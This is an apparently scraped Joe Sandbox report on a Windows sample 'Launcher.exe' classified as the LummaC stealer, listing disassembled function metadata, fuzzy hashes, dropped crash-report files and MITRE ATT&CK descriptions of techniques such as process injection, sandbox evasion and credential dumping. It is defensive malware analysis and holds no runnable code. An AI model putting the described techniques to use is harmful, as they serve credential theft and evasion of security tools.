Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: A2sx
API String ID: 593203224-2144273025
Opcode ID: c7e7f4322be80b320cf5001a4ce21fb9e8ceffceb5f34b44fc5008adcc31c649
Instruction ID: b5954a641d5ba377b3f153e836a98ea3b8dc5f8d6224014ccab49a61a652a8d0
Opcode Fuzzy Hash: c7e7f4322be80b320cf5001a4ce21fb9e8ceffceb5f34b44fc5008adcc31c649
Instruction Fuzzy Hash: 3F31A7B5D142099FCF04EFA8D595AAEBBF0FF48301F10846EE856A7351E634AA44CF52

Function 009C6290 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 009C62AF

Part of subcall function 009C4360: std::_Lockit::_Lockit.LIBCPMT ref: 009C438E
Part of subcall function 009C4360: std::_Lockit::~_Lockit.LIBCPMT ref: 009C43B9

std::_Lockit::~_Lockit.LIBCPMT ref: 009C637B

Strings

A2sx, xrefs: 009C6299

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: A2sx
API String ID: 593203224-2144273025
Opcode ID: 606cc6d20b088a3aecb3c524990460970bbbf06ea7ef607096214cfb71e6c122
Instruction ID: 86fe4dbd04d343f1dc1decf8fe030cd0e10c976d3745a1a63e36ba3e73125932
Opcode Fuzzy Hash: 606cc6d20b088a3aecb3c524990460970bbbf06ea7ef607096214cfb71e6c122
Instruction Fuzzy Hash: 8A31B6B5D04249DBCB04EFA8D595AAEBBF0FF48300F40456EE856A7351EB34AA44CF52

Function 009C3E90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 009C3EAF

Part of subcall function 009C4360: std::_Lockit::_Lockit.LIBCPMT ref: 009C438E
Part of subcall function 009C4360: std::_Lockit::~_Lockit.LIBCPMT ref: 009C43B9

std::_Lockit::~_Lockit.LIBCPMT ref: 009C3F7B

Strings

A2sx, xrefs: 009C3E99

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: A2sx
API String ID: 593203224-2144273025
Opcode ID: ade4dc73413f353eda50b33d6ca1b7b60cc51e43c644192a370b5b9ee884dc79
Instruction ID: d918aa4f29cd430001f1e60f38fc17f93c3faacef5b0ddcadbe72651e2f81415
Opcode Fuzzy Hash: ade4dc73413f353eda50b33d6ca1b7b60cc51e43c644192a370b5b9ee884dc79
Instruction Fuzzy Hash: 6231DCB5D04209DBCB04EFA8D595AADBBF0FF48300F10846EE855A7351D7349A44CB52

Function 009D11F9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 009D3BC7
___raise_securityfailure.LIBCMT ref: 009D3CAF

Strings

A2sx, xrefs: 009D3C90

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: A2sx
API String ID: 3761405300-2144273025
Opcode ID: 5a54269728d937336288f1f23994418658f0157f8e24006aa1d193adfb6de2bf
Instruction ID: 7c16c127273cf872d562e685f15098c5921f7b56fc9782bc55bc9d87a4cab34e
Opcode Fuzzy Hash: 5a54269728d937336288f1f23994418658f0157f8e24006aa1d193adfb6de2bf
Instruction Fuzzy Hash: DB21F5B45693049FE710EF14F949B703BE5FB48390F50842AE608CB3B0E3B45980EB56

Function 009C4360 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 009C438E
std::_Lockit::~_Lockit.LIBCPMT ref: 009C43B9

Strings

A2sx, xrefs: 009C4366

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: A2sx
API String ID: 593203224-2144273025
Opcode ID: a760884c07762f698fb8cc387928a11a54e554679a77468022e2399acaa89cf9
Instruction ID: 49ae647b342b2138d9caf7cb17b34e8c6a1d7764db5f66944ca507d9248ed516
Opcode Fuzzy Hash: a760884c07762f698fb8cc387928a11a54e554679a77468022e2399acaa89cf9
Instruction Fuzzy Hash: 1001E871E44208DFCB04EFA8D951BADB7F4FF48304F8004A9E416AB391D7346A44DB52

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Launcher.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Launcher.exe_Mic_f74e1663a5a0b81440bbd1616998843fb822d7d_95756e28_d38ce5c1-f4a1-4545-9092-2c0ff3beb800\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER599.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER675.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A4.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
Launcher.exe

Function 009FC19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 009C1870 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 162
fileCOMMON

Function 009C7D50 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 477
COMMON

Function 009C1710 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81
memoryCOMMON

Function 009E8795 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80
fileCOMMONLIBRARYCODE

Function 009C1C00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33
COMMON

Function 009C1B80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Function 009D294E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111
COMMON

Function 009D1A88 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Function 009E7FBC Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 009E1F19 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 009E0487 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 009D2940 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Function 009E04C1 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre